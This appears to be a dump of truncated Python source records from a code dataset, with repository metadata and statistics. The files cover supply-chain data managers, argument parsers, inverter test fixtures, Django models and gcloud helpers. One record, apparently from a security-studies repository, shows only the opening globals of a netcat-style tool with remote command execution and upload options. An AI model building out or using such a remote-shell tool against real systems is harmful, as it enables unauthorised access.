f3e22536d8067ee66cd64d241c6e69d240f5996c
3,392
py
Python
test/pharma/supply_chain/pharma/depharmadatamanager.py
IBM/dse-do-dashboard
30348da5414ef03890e6f3b92a36afc77757a021
[ "Apache-2.0" ]
1
2022-03-24T13:05:22.000Z
2022-03-24T13:05:22.000Z
test/pharma/supply_chain/pharma/depharmadatamanager.py
mgorjis/dse-do-dashboard
8982433ef02d335603469f798c9f110e14bb3af1
[ "Apache-2.0" ]
18
2022-01-13T15:14:52.000Z
2022-03-09T22:58:36.000Z
test/pharma/supply_chain/pharma/depharmadatamanager.py
mgorjis/dse-do-dashboard
8982433ef02d335603469f798c9f110e14bb3af1
[ "Apache-2.0" ]
2
2022-01-19T21:34:58.000Z
2022-01-19T21:35:20.000Z
from typing import Optional, Dict import pandas as pd # from supply_chain.water.supply_chain_schema import SCNFO_SCHEMA # from supply_chain.abbott.abbottdatamanager import AbbottDataManager from supply_chain.pharma.pharmadatamanager import PharmaDataManager from utils.dash_common_utils import ScenarioTableSchema # fro...
45.226667
111
0.62441
418
3,392
4.839713
0.255981
0.097874
0.066733
0.051903
0.385566
0.282748
0.269896
0.227385
0.227385
0.227385
0
0
0.243809
3,392
75
112
45.226667
0.788694
0.346993
0
0.166667
0
0
0.030996
0
0
0
0
0.013333
0
1
0.111111
false
0
0.111111
0
0.333333
0.027778
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
f3e4ad2f418725e124d33f4ea0ae41ca21cc361b
3,124
py
Python
autocomplete/lib/argutils.py
cap-ntu/Autocomplete
3cd85cb8974fba55bbece0cb78beb46dcac265e5
[ "Apache-2.0" ]
7
2019-02-27T09:48:39.000Z
2021-11-30T19:01:01.000Z
zerogercrnn/lib/argutils.py
ZeRoGerc/rnn-autocomplete
39dc8dd7c431cb8ac9e15016388ec823771388e4
[ "Apache-2.0" ]
16
2020-03-10T14:08:35.000Z
2022-02-27T02:56:46.000Z
zerogercrnn/lib/argutils.py
ZeRoGerc/rnn-autocomplete
39dc8dd7c431cb8ac9e15016388ec823771388e4
[ "Apache-2.0" ]
null
null
null
def add_general_arguments(parser): parser.add_argument('--title', type=str, help='Title for this run. Used in tensorboard and in saving of models.') parser.add_argument('--train_file', type=str, help='File with training data') parser.add_argument('--eval_file', type=str, help='File with eval data') pars...
63.755102
120
0.75032
452
3,124
4.99115
0.232301
0.115691
0.218528
0.071365
0.433067
0.286791
0.194592
0.152482
0.079787
0
0
0.000363
0.118118
3,124
49
121
63.755102
0.818512
0.013124
0
0
0
0
0.472096
0.04867
0
0
0
0
0
1
0.194444
false
0
0
0
0.194444
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3fea566bd58a6db7a62a13724c682b6bf3c61d3
3,032
py
Python
pyfronius/tests/web_raw/v1/web_state.py
mgrela/pyfronius
0ed5b0d4032870292576336b66922360a1fcd4a2
[ "MIT" ]
null
null
null
pyfronius/tests/web_raw/v1/web_state.py
mgrela/pyfronius
0ed5b0d4032870292576336b66922360a1fcd4a2
[ "MIT" ]
null
null
null
pyfronius/tests/web_raw/v1/web_state.py
mgrela/pyfronius
0ed5b0d4032870292576336b66922360a1fcd4a2
[ "MIT" ]
null
null
null
GET_POWER_FLOW_REALTIME_DATA = { "timestamp": {"value": "2019-01-10T23:33:12+01:00"}, "status": {"Code": 0, "Reason": "", "UserMessage": ""}, "energy_day": {"value": 0, "unit": "Wh"}, "energy_total": {"value": 26213502, "unit": "Wh"}, "energy_year": {"value": 12400.100586, "unit": "Wh"}, "meter_...
37.432099
87
0.520449
339
3,032
4.474926
0.235988
0.047462
0.063283
0.079103
0.771259
0.758075
0.675676
0.619644
0.619644
0.560316
0
0.101371
0.206135
3,032
80
88
37.9
0.528874
0
0
0.459459
0
0
0.419195
0.057718
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6d073d3768c551aa336b995cf48211e2b0f38b55
2,636
py
Python
python/bhpnet.py
Es7evam/Security-Studies
1b1a47d9011121c2c76db4ac19bd876cf1da5010
[ "MIT" ]
9
2018-05-06T22:48:03.000Z
2021-01-08T22:18:26.000Z
python/bhpnet.py
Es7evam/Security-Studies
1b1a47d9011121c2c76db4ac19bd876cf1da5010
[ "MIT" ]
null
null
null
python/bhpnet.py
Es7evam/Security-Studies
1b1a47d9011121c2c76db4ac19bd876cf1da5010
[ "MIT" ]
null
null
null
#!/bin/python2 import sys import socket import getopt import threading import subprocess # global variables listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 def usage...
29.288889
73
0.514036
321
2,636
4.183801
0.376947
0.015637
0.031273
0.035741
0.073716
0.062547
0.062547
0.062547
0.062547
0.062547
0
0.033173
0.371017
2,636
89
74
29.617978
0.77684
0.094082
0
0.085714
0
0.014286
0.168922
0
0
0
0
0
0.014286
0
null
null
0.014286
0.071429
null
null
0.214286
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6d07dc8d3bf17c04b1120ccbfce102189ead1586
664
py
Python
hotstepper/core/data_model.py
TangleSpace/hotstepper
4d8a278d94f19fee2bc4d3ba25628fa69ed3653d
[ "MIT" ]
12
2021-03-06T23:32:12.000Z
2021-11-06T20:58:43.000Z
hotstepper/core/data_model.py
TangleSpace/hotstepper
4d8a278d94f19fee2bc4d3ba25628fa69ed3653d
[ "MIT" ]
5
2021-03-06T01:55:12.000Z
2021-03-13T23:01:32.000Z
hotstepper/core/data_model.py
TangleSpace/hotstepper
4d8a278d94f19fee2bc4d3ba25628fa69ed3653d
[ "MIT" ]
1
2021-03-13T14:34:43.000Z
2021-03-13T14:34:43.000Z
import enum #a tracking class for our numpy data model class DataModel(enum.Enum): """ An enum class that defines the numpy array data model for the step data used throughout the HotStepper library. This class represents the layout of the steps data by index. **START** : The step key value index within t...
30.181818
176
0.694277
95
664
4.852632
0.452632
0.075922
0.138829
0.164859
0.277657
0.277657
0
0
0
0
0
0.007968
0.243976
664
22
177
30.181818
0.910359
0.775602
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.166667
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6d09d5ec13de0292be6a2a4a47b48d16da6f42ee
19,740
py
Python
contrib/futaba_to_jinja.py
weedy/wakarimasen
6984dd50de66bc8784a180a3cee685ce98c93aec
[ "WTFPL" ]
4
2016-03-02T17:11:50.000Z
2020-01-25T21:57:58.000Z
contrib/futaba_to_jinja.py
weedy/wakarimasen
6984dd50de66bc8784a180a3cee685ce98c93aec
[ "WTFPL" ]
null
null
null
contrib/futaba_to_jinja.py
weedy/wakarimasen
6984dd50de66bc8784a180a3cee685ce98c93aec
[ "WTFPL" ]
3
2016-06-27T19:12:45.000Z
2021-01-03T06:08:19.000Z
#!/usr/bin/env python import os import re import optparse try: from cStringIO import StringIO except ImportError: from StringIO import StringIO try: import config, config_defaults except ImportError: config = None TEMPLATES_DIR = 'new_templates' HTDOCS_HARDCODED_PATH = '/home/desuchan/public_html/des...
33.80137
82
0.528875
2,110
19,740
4.822749
0.2
0.011006
0.011006
0.005896
0.100039
0.046089
0.037834
0.01533
0.01533
0.008648
0
0.005828
0.313273
19,740
583
83
33.859348
0.744836
0.045238
0
0.139588
0
0
0.194045
0.037039
0
0
0
0
0
0
null
null
0.006865
0.018307
null
null
0.038902
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6d0e7e5991799e6245502ea38de2db6d6e4bb46d
541
py
Python
ThenWhatTree/lib/twt_node/node_metrics_data.py
intel/ThenWhatTree
ddcd5af58e55705ba2dd6a824828f3fc48bd68da
[ "BSD-3-Clause" ]
3
2018-05-23T17:15:39.000Z
2019-03-17T18:44:19.000Z
ThenWhatTree/lib/twt_node/node_metrics_data.py
intel/ThenWhatTree
ddcd5af58e55705ba2dd6a824828f3fc48bd68da
[ "BSD-3-Clause" ]
null
null
null
ThenWhatTree/lib/twt_node/node_metrics_data.py
intel/ThenWhatTree
ddcd5af58e55705ba2dd6a824828f3fc48bd68da
[ "BSD-3-Clause" ]
4
2019-11-02T01:15:21.000Z
2021-09-16T11:01:29.000Z
# Copyright (C) 2018 Intel Corporation # SPDX-License-Identifier: BSD-3-Clause """Module description here""" # Import built in modules # Import 3rd party modules # Import local modules # Module authorship metadata __author__ = "Erik W Berg" __copyright__ = "Copyright 2018, Intel Corporation" __credits__ = [""] _...
18.655172
64
0.733826
62
541
5.887097
0.693548
0.049315
0.109589
0
0
0
0
0
0
0
0
0.028698
0.162662
541
28
65
19.321429
0.777042
0.460259
0
0
0
0
0.288809
0
0
0
0
0
0
1
0
false
0.1
0
0
0.1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6d1986c9c48d05cbd15742e3d5d7b7917e61b373
2,764
py
Python
neo/code-snippets/python/hcp-iot-services/https/insert.py
jmilkiewicz/iot-starterkit
649310a4cafea10c4473bb7f099d2e64b5099c1b
[ "Apache-2.0" ]
301
2015-05-05T17:42:33.000Z
2019-11-29T16:43:11.000Z
neo/code-snippets/python/hcp-iot-services/https/insert.py
jmilkiewicz/iot-starterkit
649310a4cafea10c4473bb7f099d2e64b5099c1b
[ "Apache-2.0" ]
43
2015-05-25T13:04:17.000Z
2019-11-28T02:50:00.000Z
neo/code-snippets/python/hcp-iot-services/https/insert.py
jmilkiewicz/iot-starterkit
649310a4cafea10c4473bb7f099d2e64b5099c1b
[ "Apache-2.0" ]
232
2015-05-13T13:54:49.000Z
2019-12-27T11:03:45.000Z
import urllib3 import certifi # It is absolutely CRITICAL that you use certificate validation to ensure and guarantee that # 1. you are indeed sending the message to *.hanatrial.ondemand.com and # 2. that you avoid the possibility of TLS/SSL MITM attacks which would allow a malicious person to capture the OAuth token ...
58.808511
244
0.763025
393
2,764
5.330789
0.526718
0.031504
0.034368
0.034368
0.13747
0.120286
0.077327
0.077327
0.077327
0.077327
0
0.065735
0.119392
2,764
46
245
60.086957
0.794988
0.734805
0
0
0
0.117647
0.478933
0.160112
0.058824
0
0
0
0
0
null
null
0
0.117647
null
null
0.176471
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6d1b3a5b5c7282e31a8ca8c0ccf7698bc4b17bce
2,082
py
Python
courses/models.py
Rakib1508/django-school
b76fa8442878944fe73ed4a49503d442a3093acb
[ "MIT" ]
1
2021-07-31T09:29:36.000Z
2021-07-31T09:29:36.000Z
courses/models.py
Rakib1508/django-school
b76fa8442878944fe73ed4a49503d442a3093acb
[ "MIT" ]
null
null
null
courses/models.py
Rakib1508/django-school
b76fa8442878944fe73ed4a49503d442a3093acb
[ "MIT" ]
null
null
null
from django.db import models from django.core.validators import MinValueValidator, MaxValueValidator from teachers.models import Teacher from students.models import Student STATUS = ( ('Passed', 'Passed'), ('Failed', 'Failed'), ('Pending', 'Pending'), ) class Course(models.Model): title = models.Ch...
30.617647
89
0.629683
232
2,082
5.521552
0.310345
0.035129
0.043716
0.065574
0.19516
0.19516
0.162373
0.095238
0.095238
0.095238
0
0.01148
0.246878
2,082
67
90
31.074627
0.805485
0
0
0.096154
0
0
0.091739
0.035543
0
0
0
0
0
1
0.076923
false
0.038462
0.076923
0.057692
0.576923
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6d1bd2567505fd7431beff18db9cced450b93185
2,507
py
Python
gcloud_sync_ssh/gcloud_auth.py
mrzor/gcloud_sync_ssh
f064f524648d42a9199ebc6c916e5f72ca2ca45e
[ "MIT" ]
7
2020-10-01T19:39:41.000Z
2022-03-18T15:28:01.000Z
gcloud_sync_ssh/gcloud_auth.py
mrzor/gcloud_sync_ssh
f064f524648d42a9199ebc6c916e5f72ca2ca45e
[ "MIT" ]
null
null
null
gcloud_sync_ssh/gcloud_auth.py
mrzor/gcloud_sync_ssh
f064f524648d42a9199ebc6c916e5f72ca2ca45e
[ "MIT" ]
null
null
null
import json from loguru import logger from .gcloud_config import gcloud_config_get from .util.cmd import cmd class _GCloudSavedAuth(object): """A ContextManager that will save currently used gcloud authentication upon entering and restore the saved authentication upon exiting.""" def __enter__(self): ...
41.098361
94
0.701635
309
2,507
5.430421
0.330097
0.116806
0.064362
0.075089
0.290226
0.090584
0.090584
0.090584
0.090584
0.090584
0
0.000502
0.205026
2,507
60
95
41.783333
0.841445
0.380535
0
0.178571
0
0
0.209786
0.109249
0
0
0
0
0
1
0.214286
false
0
0.142857
0
0.464286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
6d1eabc30c14eeb063f1344e1bd06f3cedd34eda
4,656
py
Python
backend/regions/gen_summary_files.py
rushikeshphalke137/rushikeshchatbot
f9e4e8205dd695815e056422be5a4fc56ab7bf08
[ "Apache-2.0" ]
null
null
null
backend/regions/gen_summary_files.py
rushikeshphalke137/rushikeshchatbot
f9e4e8205dd695815e056422be5a4fc56ab7bf08
[ "Apache-2.0" ]
null
null
null
backend/regions/gen_summary_files.py
rushikeshphalke137/rushikeshchatbot
f9e4e8205dd695815e056422be5a4fc56ab7bf08
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python """ For a set of data files used in our dashboard, generate: 1. a summary file called nssac-ncov-sd-summary.csv with below headers: (for all countries) date,totalConfirmed,totalDeaths,totalRecovered,newConfirmed,newDeaths,newRecovered date in mm-dd-yyyy format total stands for cumulative amo...
37.248
134
0.601804
677
4,656
4.005908
0.277696
0.043142
0.036504
0.027655
0.343658
0.276549
0.25
0.209808
0.167773
0.136062
0
0.017303
0.280069
4,656
124
135
37.548387
0.791766
0.292741
0
0.337349
1
0.036145
0.223712
0.136239
0
0
0
0
0
1
0.012048
false
0
0.048193
0
0.060241
0.060241
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1